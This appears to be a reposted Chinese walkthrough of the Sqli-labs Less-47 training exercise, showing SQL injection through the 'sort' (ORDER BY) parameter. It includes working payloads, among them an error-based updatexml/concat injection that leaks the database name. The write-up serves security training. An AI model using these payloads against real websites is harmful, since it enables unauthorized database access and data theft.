2023年5月18日09:47:02评论27 views字数 504阅读1分40秒阅读模式

Sqli-labs-Less-47

SQL-Labs Less-47

Sqli-labs-Less-47与Sqli-labs-Less-46关一样也需要使用sort进行注入

SQL-Labs Less-47

判断注入点

http://www.web.com/sql/Less-47/?sort=1'

SQL-Labs Less-47

报错显示我们多了一个'将其注释

http://www.web.com/sql/Less-47/?sort=1'--+

成功

SQL-Labs Less-47

查看当前库

http://www.web.com/sql/Less-47/?sort=1' union select 1,2,database()--+

报错

SQL-Labs Less-47

尝试使用报错注入

http://www.web.com/sql/Less-47/?sort=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

成功

SQL-Labs Less-47

以下步骤与Sqli-labs-Less-46相同，不同的是对参数的处理

详细见Sqli-labs-Less-46

声明

本教程仅提供技术分享，不得用于非法用途

利用此文所造成的任何直接或间接的损失，文章作者不承担任何责任

网络安全你我他，维护安全靠大家

原文始发于微信公众号（龙蜀安全）：SQL-Labs Less-47

SQL-Labs Less-47